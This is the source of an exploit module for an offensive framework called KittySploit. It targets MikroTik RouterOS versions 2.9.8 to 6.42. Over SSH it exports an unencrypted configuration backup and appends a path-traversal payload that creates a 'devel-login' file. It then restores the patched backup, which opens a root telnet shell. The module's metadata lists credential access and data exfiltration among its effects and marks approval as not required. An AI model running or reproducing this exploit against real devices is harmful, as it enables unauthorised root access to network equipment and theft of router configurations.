routeros_jailbreak
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""routeros_jailbreak"""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
'name': 'routeros_jailbreak',
'description': 'routeros_jailbreak',
'author': ['KittySploit Team'],
'platform': Platform.LINUX,
'references': [],
'tags': ['iot', 'router', 'unauth', 'auxiliary'],
'agent': {
'risk': 'active',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['credentials', 'risk_signals'],
},
}
def run(self):
if self.check():
print_success("Target seems to be vulnerable")
if self.backup_configuration():
print_status("Downloading current configuration...")
content = self.ssh_client.get_content("/backup.backup")
backup = self.backup_patch(content)
if backup:
print_status("Uploading exploit...")
if self.backup_restore(backup):
print_success("Jailbreak was (likely) successful.")
print_success("Linux mode can be accessed via telnet using: devel/{}".format(self.password))
else:
print_error("Unable to apply patched configuration")
else:
print_error("Unable to export current configuration")
def check(self):
self.ssh_client = self.ssh_create()
if self.ssh_client.login(self.username, self.password):
output = self.ssh_client.execute("/system resource print")
res = re.findall(b"version: (.+?) ", output)
if res:
version = str(res[0], "utf-8")
if "rc" in version:
version, rc = version.split("rc")
if version == "6.41" and int(rc) > 56:
return False
if utils.Version("2.9.8") <= utils.Version(version) <= utils.Version("6.42"):
return True
return False
def backup_configuration(self):
output = self.ssh_client.execute("/system backup save name=\"backup.backup\" dont-encrypt=yes")
if b"backup saved" in output:
return True
else:
output = self.ssh_client.execute("/system backup save name=\"backup.backup\"")
if b"backup saved" in output:
return True
return False
def backup_patch(self, backup):
realsize = len(backup)
if realsize < 8 or backup[:4] != b"\x88\xAC\xA1\xB1":
print_error("Please check if that is a recent RouterOS backup file w/o password protection.")
return False
matchsize, = unpack("<I", backup[4:8])
if matchsize != realsize:
print_error("File is damaged. Aborting...")
return False
# first we write our payload
payload = (
b"\x1E\x00\x00\x00\x2E\x2E\x2F\x2E\x2E\x2F\x2E\x2E\x2F"
b"\x6E\x6F\x76\x61\x2F\x65\x74\x63\x2F\x64\x65\x76\x65\x6C\x2D"
b"\x6C\x6F\x67\x69\x6E\x2F\x00\x00\x00\x00\x00\x00\x00\x00"
)
matchsize += len(payload)
backup = backup[:4] + pack("<I", matchsize) + backup[8:] + payload
print_status("Patching done")
return backup
def backup_restore(self, backup):
self.ssh_client.send_content(backup, "/backup.backup")
output = self.ssh_client.execute("/system backup load name=\"backup.backup\" password=\"\"")
if b"configuration restored" in output:
return True
else:
output = self.ssh_client.execute("/system backup load name=\"backup.backup\"")
if b"configuration restored" in output:
return True
return False
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19 Aug 2026 05:37Current
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